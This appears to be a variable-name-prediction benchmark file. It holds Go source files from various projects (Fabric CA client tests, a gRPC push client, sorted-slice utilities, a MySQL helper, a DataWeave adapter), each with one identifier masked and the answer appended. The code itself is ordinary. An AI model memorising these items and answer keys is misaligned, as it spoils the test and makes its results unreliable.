default directory before testing another default case RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL}) if !util.FileExists(configFilePath) { t.Errorf(""Failed to correctly created the default config (fabric-ca-client-config) in the default home directory"") } RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL, ""-H"", ""../../testdata/testhome/testclientcmd""}) if !util.FileExists(filepath.Join(""../../testdata/testhome/testclientcmd"", defaultClientConfigFile)) { t.Errorf(""Failed to correctly created the default config (fabric-ca-client-config.yaml) in the '../../testdata/testhome/testclientcmd' directory"") } RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL, ""-d"", ""-c"", ""../../testdata/testhome/testclientcmd2/testconfig2.yaml""}) if !util.FileExists(""../../testdata/testhome/testclientcmd2/testconfig2.yaml"") { t.Errorf(""Failed to correctly created the config (testconfig2.yaml) in the '../../testdata/testhome/testclientcmd2' directory"") } RunMain([]string{cmdName, ""enroll"", ""-u"", enrollURL, ""-d"", ""-H"", ""../../testdata/testclientcmd3"", ""-c"", ""../../testdata/testhome/testclientcmd3/testconfig3.yaml""}) if !util.FileExists(""../../testdata/testhome/testclientcmd3/testconfig3.yaml"") { t.Errorf(""Failed to correctly created the config (testconfig3.yaml) in the '../../testdata/testhome/testclientcmd3' directory"") } } func TestCleanUp(t *testing.T) { os.Remove(""../../testdata/ca-cert.pem"") os.Remove(""../../testdata/ca-key.pem"") os.Remove(testYaml) os.Remove(fabricCADB) os.RemoveAll(mspDir) os.RemoveAll(moptionDir) cleanMultiCADir() } func cleanMultiCADir() { caFolder := ""../../testdata/ca/rootca"" nestedFolders := []string{""ca1"", ""ca2""} removeFiles := []string{""msp"", ""ec.pem"", ""ec-key.pem"", ""fabric-ca-server.db"", ""fabric-ca2-server.db"", ""ca-chain.pem""} for _, nestedFolder := range nestedFolders { path := filepath.Join(caFolder, nestedFolder) for _, file := range removeFiles { os.RemoveAll(filepath.Join(path, file)) } os.RemoveAll(filepath.Join(path, ""msp"")) } } func TestRegisterWithoutEnroll(t *testing.T) { err := RunMain([]string{cmdName, ""register"", ""-c"", testYaml}) if err == nil { t.Errorf(""Should have failed, as no enrollment information should exist. Enroll commands needs to be the first command to be executed"") } } func testGetCACertEnvVar(t *testing.T) error { t.Log(""testGetCACertEnvVar - Entered"") os.Setenv(rootCertEnvVar, ""../../testdata/root.pem"") defer os.Unsetenv(rootCertEnvVar) defer os.RemoveAll(""msp"") err := RunMain([]string{cmdName, ""getcacert"", ""-d"", ""-c"", ""fakeConfig.yaml"", ""-u"", tlsServerURL, ""--tls.client.certfile"", """", ""--tls.client.keyfile"", """", ""--caname"", """"}) if err != nil { return fmt.Errorf(""getcainfo failed: %s"", err) } return nil } func testGetCACertConfigFile(t *testing.T) error { t.Log(""testGetCACertConfigFile - Entered"") configFile := ""../../testdata/fabric-ca-client-config.yaml"" err := RunMain([]string{cmdName, ""getcacert"", ""-d"", ""-c"", configFile, ""-u"", tlsServerURL, ""--tls.certfiles"", rootCert}) if err != nil { return fmt.Errorf(""getcainfo failed: %s"", err) } return nil } func TestVersion(t *testing.T) { err := RunMain([]string{cmdName, ""version""}) if err != nil { t.Error(""Failed to get fabric-ca-client version: "", err) } } func getServer() *lib.Server { return &lib.Server{ HomeDir: ""."", Config: getServerConfig(), CA: lib.CA{ Config: getCAConfig(), }, } } func getServerConfig() *lib.ServerConfig { return &lib.ServerConfig{ Debug: true, Port: serverPort, } } func getCAConfig() *lib.CAConfig { affiliations := map[string]interface{}{ ""org1"": nil, } return &lib.CAConfig{ CA: lib.CAInfo{ Keyfile: keyfile, Certfile: certfile, }, Affiliations: affiliations, CSR: api.CSRInfo{ CN: ""TestCN"", }, } } func getSerialAKIByID(id string) (serial, aki string, err error) { testdb, _, _ := dbutil.NewUserRegistrySQLLite3(srv.CA.Config.DB.Datasource) [MASK] := lib.NewCertDBAccessor(testdb) certs, err := [MASK] .GetCertificatesByID(id) if err != nil { return """", """", err } block, _ := pem.Decode([]byte(certs[0].PEM)) if block == nil { return """", """", errors.New(""Failed to PEM decode certificate"") } x509Cert, err := x509.ParseCertificate(block.Bytes) if err != nil { return """", """", fmt.Errorf(""Error from x509.ParseCertificate: %s"", err) } serial = util.GetSerialAsHex(x509Cert.SerialNumber) aki = hex.EncodeToString(x509Cert.AuthorityKeyId) return } func extraArgErrorTest(in *TestData, t *testing.T) { err := RunMain(in.input) if err == nil { assert.Error(t, errors.New(""Should have resulted in an error as extra agruments provided"")) } if err != nil { assert.Contains(t, err.Error(), ""Unrecognized arguments found"", ""Failed for other reason besides unrecognized argument"") } } // Make sure there is exactly one file in a directory func assertOneFileInDir(dir string, t *testing.T) { files, err := ioutil.ReadDir(dir) if err != nil { t.Fatalf(""Failed to get number of files in directory '%s': %s"", dir, err) } count := len(files) if count != 1 { t.Fatalf(""expecting 1 file in %s but found %d"", dir, count) } } func startServer(home string, port int, parentURL string, t *testing.T) *lib.Server { affiliations := map[string]interface{}{""org1"": nil} srv := &lib.Server{ HomeDir: home, Config: &lib.ServerConfig{ Debug: true, Port: port, }, CA: lib.CA{ Config: &lib.CAConfig{ Affiliations: affiliations, Registry: lib.CAConfigRegistry{ MaxEnrollments: -1, }, }, }, } if parentURL != """" { srv.CA.Config.Intermediate.ParentServer.URL = parentURL } err := srv.RegisterBootstrapUser(""admin"", ""adminpw"", """") if err != nil { t.Fatalf(""Failed to register bootstrap user: %s"", err) } err = srv.Start() if err != nil { t.Fatalf(""Failed to start server: %s"", err) } return srv } ",acc 330,"package main import ( ""context"" ""encoding/json"" ""flag"" ""fmt"" ""io"" ""log"" ""time"" pushv1 ""github.com/CRED-CLUB/propeller/rpc/push/v1"" ""google.golang.org/grpc"" ""google.golang.org/grpc/credentials"" ""google.golang.org/grpc/credentials/insecure"" ""google.golang.org/grpc/metadata"" ""google.golang.org/protobuf/types/known/anypb"" ) func main() { clientID := flag.String(""clientID"", ""test"", ""client id"") deviceID := flag.String(""deviceID"", ""device"", ""device id"") topic := flag.String(""topic"", """", ""additional topic to subscribe"") endpoint := flag.String(""endpoint"", ""localhost:5011"", ""endpoint"") action := flag.String(""action"", ""send-event"", ""action to perform: send-event or connect"") flag.Parse() var transportCredentials credentials.TransportCredentials transportCredentials = insecure.NewCredentials() // connect to the grpc streaming grpcserver conn, err := grpc.Dial(*endpoint, grpc.WithTransportCredentials( transportCredentials, )) if err != nil { log.Fatalf(""unable to start grpc grpcserver %s"", err.Error()) } defer func(conn *grpc.ClientConn) { err := conn.Close() if err != nil { } }(conn) c := pushv1.NewPushServiceClient(conn) // Injecting X-USER-ID is not required with auth plugin, as the plugin would inject this ctx := metadata.AppendToOutgoingContext(context.Background(), ""X-USER-ID"", *clientID) ctx = metadata.AppendToOutgoingContext(ctx, ""x-device-id"", *deviceID) ctx = metadata.AppendToOutgoingContext(ctx, ""x-os"", ""android"") ctx = metadata.AppendToOutgoingContext(ctx, ""x-os-version"", ""v1"") switch *action { case ""send-event"": sendMessage(ctx, *clientID, *deviceID, c, *topic) case ""connect"": connect(ctx, *clientID, c, *topic) case ""list-client-devices"": listClientDevices(ctx, *clientID, c) } } func sendMessage(ctx context.Context, userID string, deviceID string, c pushv1.PushServiceClient, subTopic string) { testData := struct { Field string }{Field: fmt.Sprintf(""time %s"", time.Now())} [MASK] , err := json.Marshal(testData) if err != nil { log.Fatalf(""error in encoding %s"", err) } // sleep to make sure client connection is established time.Sleep(1 * time.Second) if subTopic == """" { r, err := c.SendEventToClientChannel(ctx, &pushv1.SendEventToClientChannelRequest{ ClientId: userID, Event: &pushv1.Event{ Name: ""PAYMENT_SUCCESS"", FormatType: pushv1.Event_TYPE_JSON_UNSPECIFIED, Data: &anypb.Any{ TypeUrl: """", Value: [MASK] , }, }, }) if err != nil { log.Fatalf(""error in SendEventToClientChannel %s with response %v"", err.Error(), r) } if deviceID != """" { _, err := c.SendEventToClientDeviceChannel(ctx, &pushv1.SendEventToClientDeviceChannelRequest{ ClientId: userID, DeviceId: deviceID, Event: &pushv1.Event{ Name: ""CHECKOUT_PAYMENT_STATUS_DEVICE"", FormatType: pushv1.Event_TYPE_JSON_UNSPECIFIED, Data: &anypb.Any{ TypeUrl: """", Value: [MASK] , }, }, }) if err != nil { log.Fatalf(""error in SendEventToClientDeviceChannel %s with response %v"", err.Error(), r) } } } else { _, err = c.SendEventToTopic(ctx, &pushv1.SendEventToTopicRequest{ Topic: subTopic, Event: &pushv1.Event{ Name: subTopic, FormatType: pushv1.Event_TYPE_JSON_UNSPECIFIED, Data: &anypb.Any{ TypeUrl: """", Value: [MASK] , }, }, }) if err != nil { log.Fatalf(""error in SendEventToTopic %s"", err.Error()) } _, err = c.SendEventToTopics(ctx, &pushv1.SendEventToTopicsRequest{ Requests: []*pushv1.SendEventToTopicRequest{ { Topic: subTopic, Event: &pushv1.Event{ Name: subTopic, FormatType: pushv1.Event_TYPE_JSON_UNSPECIFIED, Data: &anypb.Any{ TypeUrl: """", Value: [MASK] , }, }, }, { Topic: subTopic, Event: &pushv1.Event{ Name: subTopic, FormatType: pushv1.Event_TYPE_JSON_UNSPECIFIED, Data: &anypb.Any{ TypeUrl: """", Value: [MASK] , }, }, }, }, }) if err != nil { log.Fatalf(""error in SendEventToTopics %s"", err.Error()) } } log.Printf(""sent event request"") } func connect(ctx context.Context, userID string, c pushv1.PushServiceClient, subTopic string) { stream, err := c.Channel(ctx) if err != nil { log.Fatalf(""unable to connect %s"", err.Error()) } waitc := make(chan struct{}) go func() { for { in, err := stream.Recv() log.Printf(""sent recv request"") if err == io.EOF { // read done. log.Printf(""close"") close(waitc) return } if err != nil { log.Fatalf(""Failed to receive a note : %v"", err) } switch in.Response.(type) { case *pushv1.ChannelResponse_ChannelEvent: log.Printf(""event name %s, data %v"", in.GetChannelEvent().GetEvent().GetName(), in.GetChannelEvent().GetEvent().GetData()) req := &pushv1.ChannelRequest{Request: &pushv1.ChannelRequest_ChannelEventAck{ChannelEventAck: &pushv1.ChannelEventAck{}}} if err := stream.Send(req); err != nil { log.Fatalf(""can not send %v"", err) } case *pushv1.ChannelResponse_ConnectAck: log.Printf(""connect ack received"") } } }() if subTopic != """" { time.Sleep(10 * time.Second) log.Printf(""subscribing to %s"", subTopic) req := &pushv1.ChannelRequest{Request: &pushv1.ChannelRequest_TopicSubscriptionRequest{TopicSubscriptionRequest: &pushv1.TopicSubscriptionRequest{Topic: subTopic}}} if err := stream.Send(req); err != nil { log.Fatalf(""cannot subscribe %v"", err) } // sleep before un-subscribing time.Sleep(time.Duration(10) * time.Second) req = &pushv1.ChannelRequest{Request: &pushv1.ChannelRequest_TopicUnsubscriptionRequest{TopicUnsubscriptionRequest: &pushv1.TopicUnsubscriptionRequest{Topic: subTopic}}} if err := stream.Send(req); err != nil { log.Fatalf(""cannot unsubscribe %v"", err) } log.Printf(""un-subscribing"") } <-waitc err = stream.CloseSend() if err != nil { return } } func listClientDevices(ctx context.Context, userID string, c pushv1.PushServiceClient) { res, err := c.GetClientActiveDevices(ctx, &pushv1.GetClientActiveDevicesRequest{ClientId: userID}) if err != nil { log.Fatalf(""can not list user devices %v"", err) } log.Printf(""user devices %+v"", res) } ",jsonBytes 331,"package sortedslices import ( ""cmp"" ""slices"" ""sort"" ) // InsertFunc inserts item in correct position and returns a sorted slice. func Insert[S ~[]E, E cmp.Ordered](sorted S, item E) S { i, _ := slices.BinarySearch(sorted, item) if i == len(sorted)-1 && sorted[i] < item { return append(sorted, item) } return append(sorted[:i], append(S{item}, sorted[i:]...)...) } // RemoveFunc removes item in a sorted slice. func Remove[S ~[]E, E cmp.Ordered](sorted S, item E) S { i, found := slices.BinarySearch(sorted, item) if found { return append(sorted[:i], sorted[i+1:]...) } return sorted } // IterateOver iterates over input sorted slices and calls callback with each items in ascendant order. func IterateOver[S ~[]E, E cmp.Ordered](callback func(item E, srcIndex int), sorted ...S) { sourceSlices := make([]S, 0, len(sorted)) for _, src := range sorted { if len(src) > 0 { sourceSlices = append(sourceSlices, src) } } sourceSliceCount := len(sourceSlices) if sourceSliceCount == 0 { return } else if sourceSliceCount == 1 { for i, value := range sourceSlices[0] { callback(value, i) } return } indexes := make([]int, sourceSliceCount) [MASK] := make([]int, sourceSliceCount) for i := range sourceSlices { [MASK] [i] = i } index := 0 for { minSlice := 0 minItem := sourceSlices[0][indexes[0]] for i := 1; i < sourceSliceCount; i++ { if sourceSlices[i][indexes[i]] < minItem { minSlice = i minItem = sourceSlices[i][indexes[i]] } } callback(minItem, [MASK] [minSlice]) index++ indexes[minSlice]++ if indexes[minSlice] == len(sourceSlices[minSlice]) { sourceSlices = append(sourceSlices[:minSlice], sourceSlices[minSlice+1:]...) indexes = append(indexes[:minSlice], indexes[minSlice+1:]...) [MASK] = append( [MASK] [:minSlice], [MASK] [minSlice+1:]...) sourceSliceCount-- if len(sourceSlices) == 1 { slice := sourceSlices[0] for i := indexes[0]; i < len(slice); i++ { callback(slice[i], [MASK] [0]) } return } } } } // UnionFunc unions sorted slices and returns new slices. func Union[S ~[]E, E cmp.Ordered](sorted ...S) S { length := 0 sourceSlices := make([]S, 0, len(sorted)) for _, src := range sorted { if len(src) > 0 { length += len(src) sourceSlices = append(sourceSlices, src) } } if length == 0 { return nil } else if len(sourceSlices) == 1 { return sourceSlices[0] } result := make([]E, length) sourceSliceCount := len(sourceSlices) indexes := make([]int, sourceSliceCount) index := 0 for { minSlice := 0 minItem := sourceSlices[0][indexes[0]] for i := 1; i < sourceSliceCount; i++ { if sourceSlices[i][indexes[i]] < minItem { minSlice = i minItem = sourceSlices[i][indexes[i]] } } result[index] = minItem index++ indexes[minSlice]++ if indexes[minSlice] == len(sourceSlices[minSlice]) { sourceSlices = append(sourceSlices[:minSlice], sourceSlices[minSlice+1:]...) indexes = append(indexes[:minSlice], indexes[minSlice+1:]...) sourceSliceCount-- if len(sourceSlices) == 1 { copy(result[index:], sourceSlices[0][indexes[0]:]) return result } } } } // Difference creates difference group of sorted slices and returns. func Difference[S ~[]E, E cmp.Ordered](sorted1, sorted2 S) S { var result S var i, j int for i < len(sorted1) && j < len(sorted2) { if sorted1[i] < sorted2[j] { result = append(result, sorted1[i]) i++ } else if sorted1[i] > sorted2[j] { j++ } else { i++ j++ } } result = append(result, sorted1[i:]...) return result } // IntersectionFunc creates intersection group of sorted slices and returns. func Intersection[S ~[]E, E cmp.Ordered](sorted ...S) S { sort.Slice(sorted, func(i, j int) bool { return len(sorted[i]) < len(sorted[j]) }) var result S if len(sorted[0]) == 0 { return result } cursors := make([]int, len(sorted)) terminate := false for _, value := range sorted[0] { needIncrement := false for i := 1; i < len(sorted); i++ { found := false for j := cursors[i]; j < len(sorted[i]); j++ { valueOfOtherSlice := sorted[i][cursors[i]] if valueOfOtherSlice < value { cursors[i] = j + 1 } else if value < valueOfOtherSlice { needIncrement = true break } else { found = true break } } if needIncrement { break } if !found { terminate = true break } } if terminate { break } if !needIncrement { result = append(result, value) } } return result } func Min[S ~[]E, E cmp.Ordered](x S) E { if len(x) < 1 { panic(""sortedslices.Min: empty list"") } return x[0] } func Max[S ~[]E, E cmp.Ordered](x S) E { if len(x) < 1 { panic(""sortedslices.Max: empty list"") } return x[len(x)-1] } ",sliceIndex 332,"package main import ( ""fmt"" ""github.com/asaskevich/govalidator"" ""github.com/spf13/cobra"" trdlClient ""github.com/werf/trdl/client/pkg/client"" ""github.com/werf/trdl/client/pkg/trdl"" ) func addCmd() *cobra.Command { cmd := &cobra.Command{ Use: ""add REPO URL ROOT_VERSION ROOT_SHA512"", Short: ""Add a software repository"", DisableFlagsInUseLine: true, RunE: func(cmd *cobra.Command, args []string) error { if err := cobra.ExactArgs(4)(cmd, args); err != nil { PrintHelp(cmd) return err } repoName := args[0] repoUrl := args[1] [MASK] := args[2] rootSha512 := args[3] if repoName == trdl.SelfUpdateDefaultRepo { PrintHelp(cmd) return fmt.Errorf(""reserved repository name %q cannot be used"", trdl.SelfUpdateDefaultRepo) } rootVersion, err := parseRootVersionArgument( [MASK] ) if err != nil { PrintHelp(cmd) return fmt.Errorf(""unable to parse required argument \""ROOT_VERSION\"": %s"", err) } c, err := trdlClient.NewClient(homeDir) if err != nil { return fmt.Errorf(""unable to initialize trdl client: %s"", err) } if err := c.AddRepo(repoName, repoUrl, rootVersion, rootSha512); err != nil { return err } return nil }, } return cmd } func parseRootVersionArgument(arg string) (int64, error) { if !govalidator.IsNumeric(arg) { return 0, fmt.Errorf(""value (%q) must be an integer"", arg) } return govalidator.ToInt(arg) } ",rootVersionArg 333,"package commands import ( ""os"" ""github.com/tetratelabs/multierror"" ""github.com/xunzhuo/kube-prow-bot/cmd/kube-prow-bot/config"" ""github.com/xunzhuo/kube-prow-bot/pkg/utils"" ""k8s.io/klog"" ) func Response(msg string) error { if msg != """" { klog.Info(""send response: \n"", msg) return comment(msg) } return nil } func Greeting() (err error) { if [MASK] , ok := os.LookupEnv(""GREETING""); [MASK] != """" && ok { err = multierror.Append(err, comment( [MASK] )) } return } func Help() (err error) { if help, ok := os.LookupEnv(""HELP_INFO""); help != """" && ok { err = multierror.Append(err, comment(help)) } return } func comment(msg string) error { return utils.ExecGitHubCmd( config.Get().ISSUE_KIND, ""-R"", config.Get().GH_REPOSITORY, ""comment"", config.Get().ISSUE_NUMBER, ""--body"", msg) } ",greeting 334,"package network import ( ""fmt"" ""net"" ) type TcpTemplate struct { ip string port int32 conn *net.TCPConn splitable Splitable } func NewTcpTemplate(ip string, port int32, splitable Splitable) *TcpTemplate { return &TcpTemplate{ip: ip, port: port, splitable: splitable} } func (p *TcpTemplate) Connect() error { [MASK] := fmt.Sprintf(""%s:%d"", p.ip, p.port) tcpAddr, err := net.ResolveTCPAddr(""tcp4"", [MASK] ) if err != nil { return err } conn, err := net.DialTCP(""tcp"", nil, tcpAddr) if err != nil { return err } p.conn = conn return nil } func (p *TcpTemplate) Disconnect() { p.conn.Close() } func (p *TcpTemplate) Send(bytes []byte) []byte { readWriter := NewReadWriter(p.conn) _, err := readWriter.Writer().Write(bytes) if err != nil { fmt.Printf(""write data error:%v"", err.Error()) return nil } reader := readWriter.Reader(p.splitable) dataChan := make(chan []byte, 1) go func() { for { if reader.HasNext() { data := reader.Read() dataChan <- data return } } }() reply := <-dataChan return reply } ",server 335,"// asymmetric.go - easy-to-use secure asymmetric locker. // // To the extent possible under law, has waived all copyright // and related or neighboring rights to locker, using the Creative // Commons ""CC0"" public domain dedication. See LICENSE or // for full details. package locker import ( ""io"" ""github.com/nogoegst/chacha20"" ""golang.org/x/crypto/curve25519"" ) type asymmetricLocker struct { Overhead int } var Asymmetric = &asymmetricLocker{ Overhead: Symmetric.Overhead, } var zeros [chacha20.HNonceSize]byte func (s *asymmetricLocker) GenerateKey(r io.Reader) (publicKey, privateKey []byte, err error) { var pk, sk [32]byte _, err = io.ReadFull(r, sk[:]) if err != nil { return } curve25519.ScalarBaseMult(&pk, &sk) publicKey, privateKey = pk[:], sk[:] return } func (s *asymmetricLocker) Precompute(sharedKey, privateKey, publicKey *[32]byte) { curve25519.ScalarMult(sharedKey, privateKey, publicKey) chacha20.HChaCha(sharedKey[:], &zeros, sharedKey) } func (s *asymmetricLocker) unpackAndDerive(key []byte) ([]byte, error) { var sharedKey [32]byte var privateKey [32]byte var [MASK] [32]byte copy(privateKey[:], key[:32]) copy( [MASK] [:], key[32:]) s.Precompute(&sharedKey, &privateKey, & [MASK] ) return sharedKey[:], nil } func (s *asymmetricLocker) Seal(key, pt, adata []byte) ([]byte, error) { sharedKey, err := s.unpackAndDerive(key) if err != nil { return nil, err } return Symmetric.Seal(sharedKey, pt, adata) } func (s *asymmetricLocker) Open(key, ct, adata []byte) ([]byte, error) { sharedKey, err := s.unpackAndDerive(key) if err != nil { return nil, err } return Symmetric.Open(sharedKey, ct, adata) } ",theirPublicKey 336,"package framer import ( ""context"" ""github.com/aws/aws-sdk-go-v2/service/iotsitewise"" ""github.com/grafana/grafana-plugin-sdk-go/data"" ""github.com/grafana/iot-sitewise-datasource/pkg/framer/fields"" ""github.com/grafana/iot-sitewise-datasource/pkg/sitewise/resource"" ) type AssetDescription iotsitewise.DescribeAssetOutput type describeAssetFields struct { Name *data.Field Arn *data.Field Id *data.Field ModelId *data.Field Properties *data.Field Hierarchies *data.Field CreationDate *data.Field LastUpdate *data.Field StatusError *data.Field StatusState *data.Field } func (f *describeAssetFields) fields() data.Fields { return data.Fields{ f.Name, f.Id, f.Arn, f.ModelId, f.StatusState, f.StatusError, f.CreationDate, f.LastUpdate, f.Hierarchies, f.Properties, } } func newDescribeAssetFields() *describeAssetFields { return &describeAssetFields{ Name: fields.NameField(1), Arn: fields.ArnField(1), Id: fields.IdField(1), ModelId: fields.ModelIdField(1), Properties: fields.PropertiesField(1), Hierarchies: fields.HierarchiesField(1), CreationDate: fields.CreationDateField(1), LastUpdate: fields.LastUpdateField(1), StatusError: fields.StatusErrorField(1), StatusState: fields.StatusStateField(1), } } func (a AssetDescription) Frames(_ context.Context, _ resource.ResourceProvider) (data.Frames, error) { assetFields := newDescribeAssetFields() assetFields.Name.Set(0, *a.AssetName) assetFields.Id.Set(0, *a.AssetId) assetFields.ModelId.Set(0, *a.AssetModelId) assetFields.CreationDate.Set(0, *a.AssetCreationDate) assetFields.LastUpdate.Set(0, *a.AssetLastUpdateDate) assetFields.StatusState.Set(0, string(a.AssetStatus.State)) if a.AssetStatus.Error != nil { statusErr, err := getErrorDescription(a.AssetStatus.Error) if err != nil { return nil, err } assetFields.StatusError.Set(0, statusErr) } [MASK] , err := serialize(a.AssetHierarchies) if err != nil { return nil, err } assetFields.Hierarchies.Set(0, [MASK] ) properties, err := serialize(a.AssetProperties) if err != nil { return nil, err } assetFields.Properties.Set(0, properties) frame := data.NewFrame("""", assetFields.fields()...) return data.Frames{frame}, nil } ",hierarchies 337,"package dbaccess import ( ""database/sql"" ""fmt"" _ ""github.com/go-sql-driver/mysql"" ""strconv"" ) type Post struct { Id int Name string Text string } type DB struct { DriverName string db *sql.DB baseUrl string dbName string } func NewDB(DriverName string, user, password, hostname, dbname string, port int) (db *DB) { if DriverName != ""mysql"" { panic(fmt.Errorf(""Only mysql is supported right now"")) } db = &DB{ DriverName: DriverName, baseUrl: CreateMySQLBaseDSN(user, password, hostname, port), dbName: dbname, } db.db = openByDSN(DriverName, db.baseUrl+db.dbName) return } func openByDSN(driverName, DSN string) (db *sql.DB) { var err error if db, err = sql.Open(driverName, DSN); err != nil { panic(err) } return } func CreateMySQLBaseDSN(user, password, hostname string, port int) (DSN string) { DSN = user + "":"" + password + ""@tcp("" + hostname + "":"" + strconv.Itoa(port) + "")/"" return } func CreateDatabase(DriverName string, user, password, hostname, dbname string, port int) { var err error [MASK] := openByDSN(DriverName, CreateMySQLBaseDSN(user, password, hostname, port)+""mysql"") if _, err = [MASK] .Exec(""drop database if exists "" + dbname); err != nil { panic(err) } if _, err = [MASK] .Exec(""create database "" + dbname); err != nil { panic(err) } _ = [MASK] .Close() } func (db *DB) Exec(stmt string) { var err error if _, err = db.db.Exec(stmt); err != nil { panic(err) } } func (db *DB) Query(stmt string) (rows *sql.Rows) { var err error if rows, err = db.db.Query(stmt); err != nil { panic(err) } return } func (db *DB) Close() { _ = db.db.Close() } func (db *DB) Ping() { _ = db.db.Ping() } func (db *DB) Prepare(stmt string) (s *sql.Stmt) { var err error if s, err = db.db.Prepare(stmt); err != nil { panic(err) } return } ",dbAdmin 338,"/* Copyright 2022 TriggerMesh Inc. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package dataweavetransformation implements a CloudEvents adapter that transforms a CloudEvent // using a dataweave spell. package dataweavetransformation import ( ""bytes"" ""context"" ""io/ioutil"" ""os"" ""os/exec"" ""strings"" ""go.uber.org/zap"" cloudevents ""github.com/cloudevents/sdk-go/v2"" pkgadapter ""knative.dev/eventing/pkg/adapter/v2"" ""knative.dev/pkg/logging"" targetce ""github.com/triggermesh/triggermesh/pkg/targets/adapter/cloudevents"" ) // EnvAccessorCtor for configuration parameters func EnvAccessorCtor() pkgadapter.EnvConfigAccessor { return &envAccessor{} } type envAccessor struct { pkgadapter.EnvConfig // Spell defines the Dataweave spell to use on the incoming data at the event payload. Spell string `envconfig:""DW_SPELL"" required:""true""` // IncomingContentType defines the expected content type of the incoming data. IncomingContentType string `envconfig:""INCOMING_CONTENT_TYPE"" default:""application/json""` // OutputContentType defines the content the cloudevent to be sent with the transformed data. OutputContentType string `envconfig:""OUTPUT_CONTENT_TYPE"" default:""application/json""` // BridgeIdentifier is the name of the bridge workflow this target is part of. BridgeIdentifier string `envconfig:""EVENTS_BRIDGE_IDENTIFIER""` // CloudEvents responses parametrization CloudEventPayloadPolicy string `envconfig:""EVENTS_PAYLOAD_POLICY"" default:""error""` // Sink defines the target sink for the events. If no Sink is defined the // events are replied back to the sender. Sink string `envconfig:""K_SINK""` } // NewAdapter adapter implementation func NewAdapter(ctx context.Context, envAcc pkgadapter.EnvConfigAccessor, ceClient cloudevents.Client) pkgadapter.Adapter { env := envAcc.(*envAccessor) logger := logging.FromContext(ctx) replier, err := targetce.New(env.Component, logger.Named(""replier""), targetce.ReplierWithStatefulHeaders(env.BridgeIdentifier), targetce.ReplierWithStaticResponseType(""io.triggermesh.dataweavetransformation.error""), targetce.ReplierWithPayloadPolicy(targetce.PayloadPolicy(env.CloudEventPayloadPolicy))) if err != nil { logger.Panicf(""Error creating CloudEvents replier: %v"", err) } errs := registerAndPopulateSpell(env.Spell) if errs != nil { logger.Panicf(""Error creating spell: %v"", errs) } return &adapter{ spell: env.Spell, incomingContentType: env.IncomingContentType, outputContentType: env.OutputContentType, sink: env.Sink, replier: replier, ceClient: ceClient, logger: logger, } } var _ pkgadapter.Adapter = (*adapter)(nil) type adapter struct { spell string incomingContentType string outputContentType string sink string replier *targetce.Replier ceClient cloudevents.Client logger *zap.SugaredLogger } // Start is a blocking function and will return if an error occurs // or the context is cancelled. func (a *adapter) Start(ctx context.Context) error { a.logger.Info(""Starting Dataweave Transformation Adapter"") return a.ceClient.StartReceiver(ctx, a.dispatch) } func (a *adapter) dispatch(ctx context.Context, event cloudevents.Event) (*cloudevents.Event, cloudevents.Result) { var err error var tmpfile *os.File if a.incomingContentType == ""application/json"" { tmpfile, err = ioutil.TempFile(""/app"", ""*.json"") if err != nil { return a.replier.Error(&event, targetce.ErrorCodeAdapterProcess, err, ""creating the file"") } } if a.incomingContentType == ""application/xml"" { tmpfile, err = ioutil.TempFile(""/app"", ""*.xml"") if err != nil { return a.replier.Error(&event, targetce.ErrorCodeAdapterProcess, err, ""creating the file"") } } if _, err := tmpfile.Write(event.Data()); err != nil { return a.replier.Error(&event, targetce.ErrorCodeAdapterProcess, err, ""writing to the file"") } cn := strings.Replace(tmpfile.Name(), ""/app/"", """", 1) out, err := exec.Command(""dw"", ""-i"", ""payload"", cn, ""--local-spell"", ""custom"").Output() if err != nil { return a.replier.Error(&event, targetce.ErrorCodeAdapterProcess, err, ""executing the spell"") } err = os.Remove(tmpfile.Name()) if err != nil { return a.replier.Error(&event, targetce.ErrorCodeAdapterProcess, err, ""removing the file"") } [MASK] := bytes.Trim(out, ""Running local spell"") if err := event.SetData(a.outputContentType, [MASK] ); err != nil { return a.replier.Error(&event, targetce.ErrorCodeAdapterProcess, err, nil) } event.SetType(event.Type() + "".response"") a.logger.Infof(""responding with transformed event: %v"", event.Type()) if a.sink != """" { if result := a.ceClient.Send(ctx, event); !cloudevents.IsACK(result) { a.logger.Errorf(""Error sending event to sink: %v"", result) } return nil, cloudevents.ResultACK } return &event, cloudevents.ResultACK } func registerAndPopulateSpell(spell string) error { if err := exec.Command(""dw"", ""--new-spell"", ""custom"").Run(); err != nil { return err } if err := ioutil.WriteFile(""./custom/src/Main.dwl"", []byte(spell), 0644); err != nil { return err } return nil } ",cleaned 339,"package main import ( ""flag"" ""log"" ""net/http"" ""os"" ""strings"" ""time"" ""github.com/golang/glog"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ""github.com/joe-elliott/cert-exporter/src/args"" ""github.com/joe-elliott/cert-exporter/src/checkers"" ""github.com/joe-elliott/cert-exporter/src/exporters"" ""github.com/joe-elliott/cert-exporter/src/metrics"" ) var ( version = ""unknown"" commit = ""unknown"" date = ""unknown"" ) var ( includeCertGlobs args.GlobArgs excludeCertGlobs args.GlobArgs includeKubeConfigGlobs args.GlobArgs excludeKubeConfigGlobs args.GlobArgs prometheusExporterMetricsDisabled bool prometheusListenAddress string prometheusPath string pollingPeriod time.Duration kubeconfigPath string secretsLabelSelector args.GlobArgs secretsNamespaceLabelSelector args.GlobArgs secretsAnnotationSelector args.GlobArgs secretsNamespace string secretsListOfNamespaces string includeSecretsDataGlobs args.GlobArgs excludeSecretsDataGlobs args.GlobArgs includeSecretsTypes args.GlobArgs configMapsLabelSelector args.GlobArgs configMapsNamespaceLabelSelector args.GlobArgs configMapsAnnotationSelector args.GlobArgs configMapsNamespace string configMapsListOfNamespaces string includeConfigMapsDataGlobs args.GlobArgs excludeConfigMapsDataGlobs args.GlobArgs webhookCheckEnabled bool webhooksLabelSelector args.GlobArgs webhooksAnnotationSelector args.GlobArgs awsAccount string awsRegion string awsKeySubString string awsSecrets args.GlobArgs certRequestsEnabled bool certRequestsLabelSelector args.GlobArgs certRequestsAnnotationSelector args.GlobArgs certRequestsNamespace string certRequestsListOfNamespaces string ) func init() { flag.Var(&includeCertGlobs, ""include-cert-glob"", ""File globs to include when looking for certs."") 